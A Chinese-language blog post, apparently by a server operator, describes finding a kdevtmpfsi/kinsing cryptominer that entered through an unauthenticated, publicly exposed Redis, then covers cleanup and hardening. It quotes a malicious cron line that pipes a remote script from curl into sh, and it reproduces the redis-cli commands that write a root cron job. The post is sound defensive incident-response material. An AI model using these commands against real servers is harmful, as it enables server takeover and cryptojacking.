周四晚上十一点,监控又发邮件了。

CPU 使用率 100%,持续十五分钟。

打开站点试了一下,能开,就是慢。首页要转三秒才出来。

第一反应是被打了,毕竟上个月刚被 CC 过一轮。结果查了半天,日志干干净净,没有异常请求。

先看是谁在吃 CPU

SSH 上去,敲 top:

top -c

第一行就是一个没见过的进程:

PID   USER   %CPU  %MEM  COMMAND
18422 root   387.2  2.1  /tmp/kdevtmpfsi

387%,四核机器基本跑满。

进程名 kdevtmpfsi 看着像内核线程——Linux 确实有个叫 kdevtmpfs 的东西,负责管理 /dev 下的临时文件。

但内核线程不会出现在普通进程列表里,而且内核线程的 CPU 不会超过 100%。

这是个伪装。

确认它的真身

先看它到底在执行什么文件,别只看 ps 里的名字,那个可以随便改:

ls -l /proc/18422/exe

输出:

lrwxrwxrwx 1 root root 0 Oct 30 23:14 /proc/18422/exe -> /tmp/kdevtmpfsi

再看它的网络连接:

netstat -antp | grep 18422

连着境外一个 IP 的 3333 端口。

3333 是门罗币矿池的常用端口。

到这里基本确定:挖矿木马。

kill 掉,它又活了

第一反应是杀进程:

kill -9 18422

CPU 掉下来了。松了口气,去泡了杯茶。

回来一看,又满了,PID 变成了 21456,还是那个 kdevtmpfsi。

说明有东西在定时拉起它。

找守护进程

挖矿木马一般成对出现:一个挖矿主程序,一个守护脚本。守护脚本每隔几十秒检查一次,主程序没了就重新拉起来。

先看 cron:

crontab -l

输出里有一行:

*/3 * * * * curl -fsSL http://185.xxx.xxx.xxx/ldr.sh | sh

每三分钟从境外服务器拉一个脚本下来执行。

但 crontab -l 只显示当前用户的。系统级的在别的地方:

ls -la /etc/cron.d/
cat /etc/crontab

里面还有一条,写在 /etc/cron.d/root 这个文件里,内容和上面一样。

再看 /tmp:

ls -la /tmp/ | grep -E "kinsing|kdevtmpfsi"

两个文件,一个是 kdevtmpfsi,另一个叫 kinsing。

这个组合很典型:kinsing 是守护进程,kdevtmpfsi 是挖矿程序。这对名字在 2020 年之后一直很活跃,专门打 Linux 服务器。

它从哪进来的

机器没开过什么奇怪的端口,唯一对外的除了 80 和 443,就是 6379。

6379 是 Redis。

上个月为了优化站点打开速度,我在宝塔里装了 Redis 做对象缓存(具体过程写在另一篇讲网站变慢的文章里)。装完之后只顾着测效果,端口的事完全没管。

宝塔装 Redis 的时候,默认配置里 bind 是 0.0.0.0,protected-mode 是 no,也没有密码。

也就是说:整台服务器的 Redis 暴露在公网上,谁都能连,谁都能写。

验证一下:

grep -E "^bind|^protected-mode|^requirepass" /www/server/redis/redis.conf

输出三行,全是要命的值。

Redis 未授权是怎么变成 root 的

Redis 有个 CONFIG SET 命令,可以改运行时的配置。

攻击者做的事很简单:

  1. 连上你的 Redis
  2. 把工作目录改成 /var/spool/cron/(cron 的目录)
  3. 写入一个文件名是 root 的文件,内容是定时任务
  4. 执行 SAVE,文件落盘

因为 Redis 通常以 root 跑,写出来的 cron 文件也是 root 的,于是每三分钟执行一次他的脚本,脚本再去下载挖矿程序。

手动复现一下长这样:

redis-cli -h 你的IP
127.0.0.1:6379> config set dir /var/spool/cron/
127.0.0.1:6379> config set dbfilename root
127.0.0.1:6379> set x "\n\n*/3 * * * * curl -fsSL http://xxx/ldr.sh | sh\n\n"
127.0.0.1:6379> save

我后来在自己的机器上用内网地址试了一次,确实能写进去。看完背后有点凉。

清理

顺序很重要。先断来源,再杀进程。顺序反了就是白干。

第一步,把 Redis 关掉并锁死。

systemctl stop redis
sed -i 's/^bind .*/bind 127.0.0.1/' /www/server/redis/redis.conf
sed -i 's/^protected-mode .*/protected-mode yes/' /www/server/redis/redis.conf
echo 'requirepass 一个足够长的随机密码' >> /www/server/redis/redis.conf
systemctl start redis

第二步,清 crontab。

crontab -e        # 删掉那行 curl
rm -f /etc/cron.d/root
ls -la /var/spool/cron/   # 确认没有别的文件

第三步,删文件。

有些挖矿文件会被加 chattr +i,普通 rm 删不掉,报 "Operation not permitted"。

chattr -i /tmp/kdevtmpfsi /tmp/kinsing
rm -f /tmp/kdevtmpfsi /tmp/kinsing /var/tmp/kdevtmpfsi /var/tmp/kinsing

第四步,杀进程。

pkill -9 kdevtmpfsi
pkill -9 kinsing

第五步,检查有没有藏别的东西。

# 最近三天被改过的可执行文件
find / -type f -perm -111 -mtime -3 2>/dev/null | grep -v "/proc\|/sys"

# 所有监听端口
netstat -antp | grep LISTEN

# 带着奇怪名字的 systemd 服务
systemctl list-units --type=service --state=running

这一步我跑了大概十分钟,翻出来一个藏在 /usr/lib/systemd/system/ 下的服务,名字叫 sysupdate.service,伪装成系统更新。删掉之后才算干净。

损失

CPU 被占满三天,站点慢了三天,用户掉了些。

流量上,挖矿程序走的是境外 IP,跑掉大概 30 多 G 出站流量。腾讯云这个月账单多了两百多。

数据没丢。但这事之后我把所有服务器的端口全过了一遍。

现在的配置

Redis 只监听本机:

bind 127.0.0.1
protected-mode yes
requirepass 密码

宝塔的防火墙里,6379 和 3306 全部只对 127.0.0.1 开放:

iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

另外加了一条监控:CPU 连续五分钟超过 80% 就发邮件。上次是过了十五分钟才发现,这次改成五分钟。

还有个细节:别用 root 跑 Redis 和 MySQL。宝塔默认就是 root,可以在面板里改成 www 用户。这样即使被写了,攻击者拿到的也只是 www 权限,写不进 /var/spool/cron/。

很多挖矿木马不是被打进来的,是被"自己图省事"放进来的。端口开出去的那一刻,就已经在赌没人扫。

三句话

Redis、MySQL、MongoDB,装完第一件事不是测试,是看它监听在哪。这三个是挖矿木马最爱的入口。

CPU 100% 但不影响访问,先怀疑挖矿。被攻击的话站点会直接挂,不会慢慢转。

进程名带 kdevtmpfsi、kinsing、xmrig、sysupdate 的,一律当病毒处理。

俗人源码网免责声明:

1、本站所有资源均收集于互联网,分享目的仅限学习与参考。如有侵权,请联系 1685698671@qq.com 及时删除!

2、本站资源不保证完整性和安全性,下载后请自行检测。使用过程中出现的任何问题均与本站无关,敬请自行处理。

3、本站资源仅限个人学习研究使用,严禁用于任何违法违纪用途。因使用者违规使用产生的一切后果,由使用者自行承担,本站不承担任何责任。